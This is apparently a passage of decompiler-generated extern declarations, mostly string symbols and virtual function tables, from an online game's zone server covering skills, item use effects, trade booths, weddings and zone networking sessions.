a__9dataSareabm[]; // idb extern char aSkilldatabox_9[]; // idb extern char aSkilldatabo_12[]; // idb extern char aPassivedatab_5[]; // idb extern char aPassivedatab_3[]; // idb extern char aPoweroflove01[]; // idb extern char aPassivedatab_4[]; // idb extern char aPassivedatab_1[]; // idb extern char aPassivedatabox[]; // idb extern char a__9dataHeroPsk[]; // idb extern char a__9dataHeroPas[]; // idb extern char aSkilldataboxGe[]; // idb extern char aSkillNameSSI_2[]; // idb extern char aSkillNameSIn_1[]; // idb extern char aSkillNameSSI_4[]; // idb extern char aSkillNameSIn_3[]; // idb extern char aSkillNameSIn_2[]; // idb extern char aSkillNameSSI_5[]; // idb extern char aSkillNameSInva[]; // idb extern char aSkillNameSSI_0[]; // idb extern char aSkillNameSSI_3[]; // idb extern char aSkillNameSVsSS[]; // idb extern char aSkillNameSSInv[]; // idb extern char aSkilldatabo_17[]; // idb extern char aSkilldatabox_3[]; // idb extern char aSummonmate01[]; // idb extern char aCamping[]; // idb extern char aCooking[]; // idb extern char aProducecompoun[]; // idb extern char aProduceresolve[]; // idb extern char aProduceston[]; // idb extern char aProducescroll[]; // idb extern char aProducepotion[]; // idb extern char aSkilldatabox_2[]; // idb extern char aNullSkll[]; // idb extern char aSkillidUnsync[]; // idb extern char aSkilldatabo_15[]; // idb extern char aErrorIn[]; // idb extern char aSkilldatabo_18[]; // idb extern char aSkilldatabo_10[]; // idb extern char aSkilldatabo_13[]; // idb extern char aSkilldataboxSd[]; // idb extern char dataHeroA::a[]; // idb extern char a__9dataHeroTog[]; // idb extern char a__9dataHeroA_5[]; // idb extern char a__9dataHeroA_2[]; // idb extern char a__9dataHeroAct[]; // idb extern int (*NPCAction::IAction::_vftable_[6])(); // weak extern int (*SlantedCoordList::ObjectXCoordNode::_vftable_[4])(); // weak extern int (*SlantedCoordList::ObjectYCoordNode::_vftable_[2])(); // weak extern char aSlantedcoord_0[]; // idb extern char aCoordednodeC_0[]; // idb extern char aCoordednodeC_3[]; // idb extern char aSlantedcoord_5[]; // idb extern char aCoordednodeC_5[]; // idb extern char aCoordednodeCn_[]; // idb extern char aSlantedcoor_20[]; // idb extern char aSlantedcoor_14[]; // idb extern char aSlantedcoord_2[]; // idb extern char aCoordednodeC_2[]; // idb extern char aSlantedcoor_11[]; // idb extern char aSlantedcoord_1[]; // idb extern char aSlantedcoor_12[]; // idb extern char aSlantedcoord_6[]; // idb extern char aCoordednodeC_4[]; // idb extern char aSlantedcoor_18[]; // idb extern char aSlantedcoord_4[]; // idb extern char aSlantedcoor_10[]; // idb extern char aSlantedcoord_7[46]; // weak extern char aCn_rearrange2[]; // idb extern char aSlantedcoord_8[]; // idb extern char aCn_rearrange[]; // idb extern char aSlantedcoor_17[]; // idb extern char aSlantedcoor_13[]; // idb extern char asc_674018[]; // idb extern char asc_67405C[]; // idb extern char asc_67408C[]; // idb extern char asc_6740C0[]; // idb extern char asc_6740F4[]; // idb extern char asc_674128[]; // idb extern char asc_674158[]; // idb extern char asc_674188[]; // idb extern char asc_6741C0[]; // idb extern char asc_6741F0[]; // idb extern char aWeddinghallW_2[]; // idb extern char asc_674248[]; // idb extern char asc_674280[]; // idb extern char asc_6742BC[]; // idb extern char asc_6742F8[]; // idb extern char a__9dataHeroS_0[]; // idb extern char a__9dataHeroSpa[]; // idb extern char aShineobject_72[]; // idb extern char asc_6743B0[]; // idb extern char asc_6743E8[]; // idb extern char asc_674420[]; // idb extern char aFlyNullMap[]; // idb extern char aFlyNull[]; // idb extern char aFlyNullReturn[]; // idb extern char asc_674488[]; // idb extern int (*SpyNet::IntelligenceOffice::_vftable_[3])(); // weak extern int (__stdcall *SpyNet::IntelligenceOffice4Mob::_vftable_)(int, int report); // weak extern char aSpynetIntell_1[]; // idb extern char aSpynetIntellig[]; // idb extern char aShineplayer_51[]; // idb extern char aShineplayer_14[]; // idb extern char aShineplayer_42[]; // idb extern char aShineplayer_28[]; // idb extern char asc_67463C[]; // idb extern char asc_674678[]; // idb extern char asc_6746C8[]; // idb extern char asc_67472C[]; // idb extern char asc_674768[]; // idb extern char asc_6747A0[]; // idb extern char asc_6747E8[]; // idb extern char asc_674840[]; // idb extern char asc_674874[]; // idb extern char asc_6748A8[]; // idb extern char asc_6748E4[]; // idb extern char aGamedbsessi_18[]; // idb extern char asc_674950[]; // idb extern char asc_674998[]; // idb extern char asc_6749D8[]; // idb extern char asc_674A18[]; // idb extern char asc_674A5C[]; // idb extern int (*StreetBooth::_vftable_)(); // weak extern char aStreetbooths_7[51]; // weak extern char aStreetbooths_2[]; // idb extern char aStreetbooth_14[]; // idb extern char aStreetboothb_4[]; // idb extern char aStreetbooths_5[]; // idb extern char aStreetbooths_8[]; // idb extern char aStreetbooth_10[]; // idb extern char aStreetboothb_7[]; // idb extern char aStreetboothb_3[]; // idb extern char asc_674C04[]; // idb extern char asc_674C30[]; // idb extern char asc_674C68[]; // idb extern char asc_674CA0[]; // idb extern char aStreetbooth_11[]; // idb extern char aStreetboothb_5[]; // idb extern char aStreetbooth_13[]; // idb extern char asc_674D50[]; // idb extern char aStringmakerMak[]; // idb extern char aStringmakerM_4[]; // idb extern char aStringmakerM_5[]; // idb extern char aStringmakerM_3[]; // idb extern char aStringmakerM_1[]; // idb extern char aStringmakerM_2[]; // idb extern char asc_674EA4[]; // idb extern char aHp_1[]; // idb extern char aNull_0[]; // idb extern char aLocation[]; // idb extern char aMode_1[]; // idb extern char aLevel_2[]; // idb extern char aName[]; // idb extern char asc_674F10[]; // idb extern char aRidingBriefCam[]; // idb extern char asc_674F64[]; // idb extern char aMinihouseBri_1[]; // idb extern char aMinihouseBrief[]; // idb extern char aNullData[]; // idb extern char aNullHandle[]; // idb extern char aMinihouseSkinh[]; // idb extern char aMinihouseInven[]; // idb extern char asc_674FE8[]; // idb extern char asc_67501C[]; // idb extern char asc_6750A0[]; // idb extern char asc_6750E8[]; // idb extern char asc_675130[]; // idb extern char aStreetbooths_3[]; // idb extern int (*StreetBoothBuy::_vftable_)(); // weak extern char aSell[5]; // weak extern char aBuy[4]; // weak extern char aStreetboothb_6[]; // idb extern char aStreetboothSbs[]; // idb extern char aStreetboothb_0[]; // idb extern int (*StreetBoothSell::_vftable_)(); // weak extern char asc_675374[]; // idb extern char asc_6753AC[]; // idb extern char asc_6753E4[]; // idb extern char aStreetboothS_0[]; // idb extern char aStreetboothS_2[]; // idb extern char aStreetboothS_3[]; // idb extern char aStreetbooths_9[]; // idb extern int (__stdcall *TargetAnalyser::_vftable_)(int target); // weak extern int (__stdcall *TargetAnalyser_Player::_vftable_[3])(int target); // weak extern char asc_6754C0[]; // idb extern char asc_675508[]; // idb extern char asc_675558[]; // idb extern char asc_675588[]; // idb extern char aShineplayer_32[]; // idb extern char asc_6755F4[]; // idb extern char asc_67562C[]; // idb extern char asc_67566C[]; // idb extern char aShineplayer_60[]; // idb extern char asc_6756E8[]; // idb extern char asc_675724[]; // idb extern char asc_67575C[]; // idb extern char asc_675798[]; // idb extern char aShineobject_73[]; // idb extern char asc_6757FC[]; // idb extern char aTradeboardTb_c[]; // idb extern char asc_675848[]; // idb extern char asc_675898[]; // idb extern char asc_6758F0[]; // idb extern char asc_675938[]; // idb extern char asc_675980[]; // idb extern char asc_6759C0[]; // idb extern char asc_675A18[]; // idb extern char aTradeboardTb_f[]; // idb extern char aTradeboardTb_g[]; // idb extern char aTradeboardTb_n[]; // idb extern char asc_675A94[]; // idb extern char asc_675AC4[]; // idb extern char asc_675AF8[]; // idb extern char aTradeboardTb_h[]; // idb extern char aTradeboardTb_4[]; // idb extern char aTradeboardTb_2[]; // idb extern char asc_675B90[]; // idb extern char asc_675BD8[]; // idb extern char asc_675C20[84]; // weak extern char asc_675C74[]; // idb extern char aTradeboardTb_3[]; // idb extern char aTradeboardTb_o[]; // idb extern char aShineplayerS_7[]; // idb extern char aShineplayer_52[]; // idb extern char aShineplayer_53[]; // idb extern char asc_675D8C[]; // idb extern char aTradeboardTb_1[]; // idb extern char asc_675DE0[]; // idb extern char asc_675E30[]; // idb extern char asc_675E80[]; // idb extern char asc_675EC8[]; // idb extern char asc_675F08[]; // idb extern char asc_675F4C[]; // idb extern char aItemlistmakerI[]; // idb extern char aItemlistmake_3[]; // idb extern char aItemlistmake_2[]; // idb extern char aItemlistmake_0[]; // idb extern char aItemlistmake_4[]; // idb extern char aTreasureches_1[]; // idb extern char aTreasurechestm[]; // idb extern char aTreasureches_8[]; // idb extern char aTreasureches_0[]; // idb extern char aTreasureches_5[]; // idb extern char aTreasureches_9[]; // idb extern char aTreasureches_6[]; // idb extern char aTreasureches_4[]; // idb extern char aTreasureches_3[]; // idb extern char aTreasureches_2[]; // idb extern char a__9dataHeroUpg[]; // idb extern char aUpgradedatabox[]; // idb extern int (__stdcall *UseEffect::UseItemBase::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSilverWing::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemNormal::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemRecallScroll::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSkillScroll::_vftable_)(#734 *, int itm); // weak extern int (__stdcall *UseEffect::UseItemChest::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemByTable::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemChargedBuff::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMiniHouse::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemActionItem::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMiniHouseFurniture::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemRide::_vftable_)(#593 *, int itm); // weak extern int (__stdcall *UseEffect::UseItemHorseFood::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemItemPackage::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemLicenseClear::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemStatClear::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemAmountHP::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemAmountSP::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemAmountHPSP::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemRoar::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSkillErase::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemWingStone::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMemoryFeather::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemBossMobDetect::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSkillDummy2Real::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemPropose::_vftable_)(#593 *, int itm); // weak extern char aUseitempropose[]; // idb extern int (__stdcall *UseEffect::UseItemImmediateDivorce::_vftable_)(int, int itm); // weak extern char aInstantdivorce[]; // idb extern int (__stdcall *UseEffect::UseItemFire::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemGuildReName::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemGuildReType::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemFurnitureEndureKit::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemGBCoin::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemCapsule::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMysteryBolt::_vftable_)(int, int itm); // weak extern char asc_676588[]; // idb extern char asc_6765BC[]; // idb extern char asc_6765F0[]; // idb extern char asc_676624[]; // idb extern char asc_676654[]; // idb extern char asc_676684[]; // idb extern char asc_6766B8[]; // idb extern char asc_676700[]; // idb extern char asc_676748[]; // idb extern char asc_676790[]; // idb extern char asc_6767D8[]; // idb extern char asc_676828[]; // idb extern char asc_676860[]; // idb extern char asc_6768A4[]; // idb extern char aShineplayer_61[]; // idb extern char asc_676908[]; // idb extern char asc_676938[]; // idb extern char asc_676970[]; // idb extern char asc_6769B4[]; // idb extern char asc_6769E4[]; // idb extern char aShineplayer_19[]; // idb extern char asc_676A4C[]; // idb extern char asc_676A88[]; // idb extern char asc_676AB8[]; // idb extern int (__stdcall *UseEffect::UseItemNoEffect::_vftable_)(int, int itm); // weak extern char aUseeffectUs_38[]; // idb extern char aUseeffectUs_22[]; // idb extern char aUseeffectUs_45[]; // idb extern char aUseeffectUs_16[]; // idb extern char aUseeffectUs_53[]; // idb extern char aShineplayerS_3[]; // idb extern char asc_676C40[]; // idb extern char asc_676C70[]; // idb extern char aPresentboxinve[]; // idb extern char aShineplayer_13[]; // idb extern char aShineplayer_16[]; // idb extern char asc_676D20[]; // idb extern char aUseeffectUse_9[]; // idb extern char aUseeffectUs_33[]; // idb extern char aUseeffectUs_43[]; // idb extern char aUseeffectUs_48[]; // idb extern char aUseeffectUs_32[]; // idb extern char aUseeffectUs_31[]; // idb extern char aUseeffectUs_49[]; // idb extern char aUseeffectUs_46[]; // idb extern char aUseeffectUs_13[]; // idb extern char aUseeffectUs_28[]; // idb extern char aUseeffectUs_30[]; // idb extern char aUseeffectUs_52[]; // idb extern char aShineplayer_15[]; // idb extern char aUseeffectUs_40[]; // idb extern char aUseeffectUs_50[]; // idb extern char aUseeffectUs_25[]; // idb extern char aUseeffectUs_36[]; // idb extern char aUseeffectUse_0[]; // idb extern char aUseeffectUs_10[]; // idb extern char aUseeffectUse_2[]; // idb extern char aUseeffectUs_11[]; // idb extern char aUseeffectUs_47[]; // idb extern char aUseeffectUs_17[]; // idb extern char aUseeffectUs_35[]; // idb extern char aUseeffectUs_29[]; // idb extern char aUseeffectUs_37[]; // idb extern char aUseeffectUs_21[]; // idb extern char aUseeffectUse_1[]; // idb extern char asc_677324[]; // idb extern int (__thiscall *off_67734D)(OptionReader *this, int world); // weak extern char asc_677354[]; // idb extern char asc_677388[]; // idb extern char aItemsmallbag_3[]; // idb extern char asc_6773E8[]; // idb extern char aServermenufu_0[]; // idb extern char aServermenuf_10[]; // idb extern char asc_677470[]; // idb extern char aUseeffectUs_20[]; // idb extern char aServermenufu_8[]; // idb extern char aSilverwinglocs[]; // idb extern char aCancel[]; // idb extern char aSilverwingport[]; // idb extern char aSilverwingtitl[]; // idb extern char asc_67753C[]; // idb extern char aUseeffectUse_7[]; // idb extern char aUseeffectUs_26[]; // idb extern char aUseeffectUse_8[]; // idb extern char aUseeffectUsedi[]; // idb extern char aUseeffectUs_19[]; // idb extern char aUseeffectUs_12[]; // idb extern char aUseeffectUs_15[]; // idb extern char a__9dataHeroI_1[]; // idb extern char aUseeffectUs_42[]; // idb extern char aUsestagerecall[]; // idb extern char aUseditemeffe_2[]; // idb extern char aUseeffectUs_23[]; // idb extern char aUseditemeffect[]; // idb extern char asc_6777D8[]; // idb extern char asc_677828[75]; // weak extern char aShineplayerS_5[]; // idb extern char aUseeffectUs_18[]; // idb extern char aShineplayer_41[]; // idb extern char asc_677910[]; // idb extern char asc_677944[]; // idb extern char asc_677980[]; // idb extern char asc_6779AC[]; // idb extern char asc_6779D8[]; // idb extern char asc_677A04[]; // idb extern char asc_677A60[]; // idb extern char aShineplayer_46[]; // idb extern char asc_677AC8[]; // idb extern char aShineplayer_25[]; // idb extern char aGamedbsessionS[]; // idb extern char aShineobject_74[]; // idb extern char aShineplayer_11[]; // idb extern char aShineplayer_56[]; // idb extern char asc_677C10[]; // idb extern char aShineplayer_35[]; // idb extern char asc_677C74[]; // idb extern char aProposeresultP[]; // idb extern char aReservresultPa[]; // idb extern char aCheckerWhenpro[]; // idb extern char aCheckerApplica[]; // idb extern char aCheckerDelayli[]; // idb extern char asc_677DC0[]; // idb extern char asc_677E0C[]; // idb extern char asc_677E44[]; // idb extern char asc_677E80[]; // idb extern char asc_677ED8[]; // idb extern char asc_677F18[]; // idb extern char asc_677F70[]; // idb extern char asc_677FB0[]; // idb extern char asc_678010[]; // idb extern char asc_678060[]; // idb extern char asc_6780B8[]; // idb extern char asc_678100[]; // idb extern char asc_678160[]; // idb extern char asc_6781A8[]; // idb extern char asc_678208[]; // idb extern char asc_678250[]; // idb extern char aZonelistens_15[]; // idb extern char asc_6782F8[]; // idb extern char asc_678350[]; // idb extern char aWeddinghallWh_[]; // idb extern char aZonelistens_11[]; // idb extern char aZonelistense_4[]; // idb extern char aZonelistense_3[]; // idb extern char asc_678458[]; // idb extern char asc_678488[]; // idb extern char asc_6784CC[]; // idb extern char asc_6784FC[]; // idb extern char asc_678538[]; // idb extern char asc_678584[]; // idb extern char asc_6785BC[]; // idb extern char asc_6785F8[]; // idb extern char asc_67863C[]; // idb extern char asc_678670[]; // idb extern char asc_6786C8[]; // idb extern char asc_678704[]; // idb extern char asc_678730[]; // idb extern char asc_678778[]; // idb extern char asc_6787B0[]; // idb extern char asc_6787F8[]; // idb extern char aCheckerDivorce[]; // idb extern char asc_678858[]; // idb extern char asc_67889C[]; // idb extern char asc_6788D0[]; // idb extern char asc_678928[]; // idb extern char aWeddingWedding[]; // idb extern char aWeddinghallW_3[]; // idb extern char aWeddinghallW_4[]; // idb extern char aWeddinghallW_5[]; // idb extern char aWeddinghallW_1[]; // idb extern char aZonelistense_1[]; // idb extern int (__stdcall *WorldManagerSession::_vftable_)(int interval); // weak extern char asc_678A50[]; // idb extern char asc_678A78[]; // idb extern char asc_678AB8[]; // idb extern char asc_678B00[]; // idb extern char asc_678B48[]; // idb extern char asc_678B80[]; // idb extern char asc_678BC8[]; // idb extern char asc_678C18[]; // idb extern char asc_678C60[]; // idb extern char asc_678C98[]; // idb extern char asc_678CE0[]; // idb extern char asc_678D24[]; // idb extern char aCharFromWorld[]; // idb extern char asc_678D6C[]; // idb extern char asc_678D90[]; // idb extern char asc_678DD8[]; // idb extern char asc_678E20[]; // idb extern char asc_678E68[]; // idb extern char asc_678E9C[]; // idb extern char asc_678ECC[]; // idb extern char asc_678EFC[]; // idb extern char asc_678F34[]; // idb extern char asc_678F68[]; // idb extern char asc_678F98[]; // idb extern char asc_678FC8[]; // idb extern char asc_678FFC[]; // idb extern char asc_679034[]; // idb extern char asc_679070[]; // idb extern char asc_6790B4[]; // idb extern char asc_6790E8[]; // idb extern char asc_67912C[]; // idb extern char asc_67915C[]; // idb extern char asc_679194[]; // idb extern char aWorldmanager_2[]; // idb extern char asc_6791F0[]; // idb extern char asc_679230[]; // idb extern char asc_67927C[]; // idb extern char asc_6792B0[]; // idb extern char asc_6792E8[]; // idb extern char asc_67932C[]; // idb extern char asc_679360[]; // idb extern char asc_679398[]; // idb extern char asc_6793D0[]; // idb extern char asc_679400[]; // idb extern char asc_679438[]; // idb extern char asc_679480[71]; // weak extern char asc_6794C8[]; // idb extern char asc_6794FC[]; // idb extern char asc_679534[]; // idb extern char asc_679570[]; // idb extern char asc_6795AC[]; // idb extern char asc_6795E8[]; // idb extern char aWms_nc_char_ge[]; // idb extern char aWms_nc_misc_ev[]; // idb extern char aWms_nc_misc__1[]; // idb extern char asc_6796B8[]; // idb extern char aWms_nc_user_pr[]; // idb extern char asc_679738[]; // idb extern char aWms_nc_friend_[]; // idb extern char asc_679798[]; // idb extern char aWms_nc_frien_2[]; // idb extern char asc_6797F8[]; // idb extern char aWms_nc_frien_0[]; // idb extern char asc_679858[]; // idb extern char asc_679890[]; // idb extern char scriptindex[]; // idb extern char asc_6798D8[]; // idb extern char asc_679908[]; // idb extern char asc_679940[]; // idb extern char asc_67997C[]; // idb extern char asc_6799BC[]; // idb extern int (__stdcall *CIOCP_Process_Interfece::_vftable_)(int pOverlapped, int NumOfBytes); // weak extern int (__stdcall *ZoneBaseSession::_vftable_)(int interval); // weak extern char aErrorSocket__1[]; // idb extern char aErrorSocket_re[44]; // weak extern int (__stdcall *IOCPProcessSession::_vftable_)(int pOverlapped, int NumOfBytes); // weak extern int (__thiscall *ClientSessionManager::_vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); // weak extern char aSS_0[]; // idb extern int (__stdcall *ZoneConnectSession::_vftable_)(int interval); // weak extern int (*ZoneRingPacketBase::_vftable_[2])(); // weak extern int (__stdcall *ZoneRingPacketFindPlayer::_vftable_[14])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketFindPlayerByNormalUser::_vftable_[11])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketSummonPlayer::_vftable_[8])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketKickPlayerOut::_vftable_[5])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketItemBonus::_vftable_[2])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketExpBonus::_vftable_[2])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketSummonPartner::_vftable_[3])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketRefreshWeddingInfo::_vftable_[3])(int iti, char nEndureGrade); // weak extern int (__stdcall *ZoneRingPacketEmtpyInstanceDungeon::_vftable_[2])(int, int netcmd); // weak extern char aZoneconnects_2[]; // idb extern char aZoneconnectses[]; // idb extern char aZoneringpac_17[]; // idb extern char aZoneringpac_20[]; // idb extern char aZoneringpac_19[]; // idb extern char aSIsBanned[]; // idb extern char aZoneringpac_22[]; // idb extern char aSIsNotInGame[]; // idb extern char aZoneringpac_12[]; // idb extern char aZoneringpack_1[]; // idb extern char aZoneringpack_7[]; // idb extern char aZoneringpac_10[]; // idb extern char aSummons[]; // idb extern char aZoneringpacket[]; // idb extern char aZoneringpac_23[]; // idb extern char aZoneringpac_14[]; // idb extern char aZoneringpac_15[]; // idb extern char aZoneringpack_6[]; // idb extern char aZoneringpack_9[]; // idb extern char aZoneringpac_11[]; // idb extern char aZoneringpac_13[]; // idb extern char aZoneipcontai_2[]; // idb extern char aZoneipcontaine[]; // idb extern char aZoneipcontai_0[]; // idb extern char aMessage_txt[]; // idb extern char aZoneserverZ_21[]; // idb extern char aTmfpemfjs[]; // idb extern char aConnectSuccess[]; // idb extern char aTryToConnectSD[]; // idb extern char aTryToConnect_1[]; // idb extern char aZoneserverZ_16[]; // idb extern char aListenFromZone[]; // idb extern char aZoneserverZs_7[]; // idb extern char aZoneserverZs_4[]; // idb extern char aZoneserverZ_13[]; // idb extern char aZoneserverZs_5[]; // idb extern char aLua_pathSS[]; // idb extern char aLua_path[]; // idb extern char aZoneserverZs_1[]; // idb extern char aZoneserverZs_6[]; // idb extern char a__9dataServe_1[]; // idb extern char aZoneserverZs_9[]; // idb extern char pFN[]; // idb extern char aShinestackstru[]; // idb extern char aEraseoldloglis[]; // idb extern char aVoidEraseoldlo[]; // idb extern char aChargeditemlog[]; // idb extern char a_tx[4]; // weak extern __int16 word_67A3DC; // weak extern char aSuccess_1[8]; // weak extern char aReconnect[]; // idb extern char aSocketCutTryRe[]; // idb extern char aSleepmanagerSm[]; // idb extern char aSleepmanager_1[]; // idb extern char aZoneserver_zs_[]; // idb extern char aZoneserverZs_3[]; // idb extern char aZoneserverZs_c[]; // idb extern char aServiceUnknown[26]; // weak extern char aServiceRemoveF[24]; // weak extern char aServiceRemoveO[20]; // weak extern char aServiceUploadF[24]; // weak extern char aServiceUploadO[25]; // weak extern char aServiceStart[16]; // weak extern char asc_67A580[4]; // weak extern char byte_67A584; // weak extern char aRemove[]; // idb extern char aUpload[]; // idb extern char aCutByInvalidPa[]; // idb extern char aCutByHeartbeat[]; // idb extern char aCloseDuringSes[]; // idb extern char aZoneserver[]; // idb extern char aZoneserverZ_20[]; // idb extern char aZoneserverZs_0[]; // idb extern char aZoneserverZs_s[]; // idb extern char dataServe::a[]; // idb extern char aZoneserver_z_4[]; // idb extern char aZoneserverZ_10[]; // idb extern char aDDD_1[]; // idb extern char aProgram_onson_[]; // idb extern char addr[]; // idb extern char aZoneserverZs_d[]; // idb extern char aSocket[7]; // weak extern char aSocketCutNotFo[]; // idb extern char aWms[]; // idb extern char aLog[]; // idb extern char aDb[]; // idb extern char aZoneserver_z_3[]; // idb extern char aZoneserverZs_8[]; // idb extern char aZoneserverZ_12[]; // idb extern char aXlrfunction[]; // idb extern char aInlist[]; // idb extern char aIndex_0[]; // idb extern char asc_67A84C[]; // idb extern char aObjtype[]; // idb extern char aZoneserverZs_2[]; // idb extern char aZonelis[]; // idb extern char from[]; // idb extern char aZoneserverZs_m[]; // idb extern char aZoneserver_z_1[]; // idb extern char aZoneserverZ_19[]; // idb extern int (__cdecl *EventHeartPing::_vftable_)(int __formal); // weak extern char aAssert_1[]; // idb extern char pkDir[]; // idb extern char aZoneserverZone[]; // idb extern char aFailToReadDice[]; // idb extern char dataHeroP::a[]; // idb extern char aDamagebyangl_4[]; // idb extern char table[]; // idb extern char aFailToReadDi_1[]; // idb extern char a__9dataHeroD_2[]; // idb extern char aFailToReadDiec[]; // idb extern char a__9dataHeroD_1[]; // idb extern char dataHeroD::a[]; // idb extern char aZoneserverZo_1[]; // idb extern char aFailToReadMini[]; // idb extern char a__9dataHeroM_9[]; // idb extern char aFailToReadItem[]; // idb extern char a__9dataHeroI_6[]; // idb extern char aFailToReadClas[]; // idb extern char a__9dataHeroCla[]; // idb extern char aFailToReadAnno[]; // idb extern char a__9dataHeroAnn[]; // idb extern char aFailToReadCh_1[]; // idb extern char a__9dataHeroC_1[]; // idb extern char aZoneserverZo_3[]; // idb extern char aFailToReadChar[]; // idb extern char a__9dataHeroCha[]; // idb extern char aZoneserverZo_0[]; // idb extern char aZoneserver_z_0[]; // idb extern char aDeamondead[]; // idb extern char aMenustring[]; // idb extern char aEtc[]; // idb extern char aPlayerBufferSi[]; // idb extern int (__stdcall *EventReserveContainer::_vftable_[3])(__int16 hnd); // weak extern char aFailToPlayerQu[]; // idb extern char aQuestparser_tx[]; // idb extern char pkFileName[]; // idb extern char aFailToReadQues[]; // idb extern char a__9dataHeroQ_1[]; // idb extern char aZoneserverZo_6[]; // idb extern char aFailToReadIt_1[]; // idb extern char a__9dataHeroI_5[]; // idb extern char aEventreserveli[]; // idb extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *IIDTableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *IIDTableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern char a__9dataHeroM_1[]; // idb extern char a__9dataHeroM_0[]; // idb extern char a__9dataHeroC_2[]; // idb extern int (__cdecl *GuildTournamentScoreTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentLvGapTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentOccupyTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentSkillTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentMasterBuffTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIGetRateTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIGetRateGapTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIServerTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIBreedSubjectTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTWinScoreTable::_vftable_)(int __formal); // weak extern int (__cdecl *AccUpGradeTable::_vftable_)(int __formal); // weak extern int (__cdecl *ProdSucRateTable::_vftable_)(int __formal); // weak extern int (__cdecl *MysteryVaultTable::_vftable_)(int __formal); // weak extern int (__cdecl *LevelGap_Player_to_Monster::_vftable_)(int __formal); // weak extern int (__cdecl *LevelGap_Monster_to_Player::_vftable_)(int __formal); // weak extern int (__cdecl *PKQuestLVGapTable::_vftable_)(int __formal); // weak extern int (__cdecl *BelongDiceTable::_vftable_)(int __formal); // weak extern int (__cdecl *ActionRangeFactors::_vftable_)(int __formal); // weak extern int (__cdecl *ItemActionConditions::_vftable_)(int __formal); // weak extern int (__cdecl *ItemActionEffects::_vftable_)(int __formal); // weak extern int (__cdecl *ItemActions::_vftable_)(int __formal); // weak extern int (__cdecl *SetEffectTable::_vftable_)(int __formal); // weak extern int (__cdecl *ActionEffectItemTable::_vftable_)(int __formal); // weak extern int (__cdecl *ActionEffectAbStateTable::_vftable_)(int 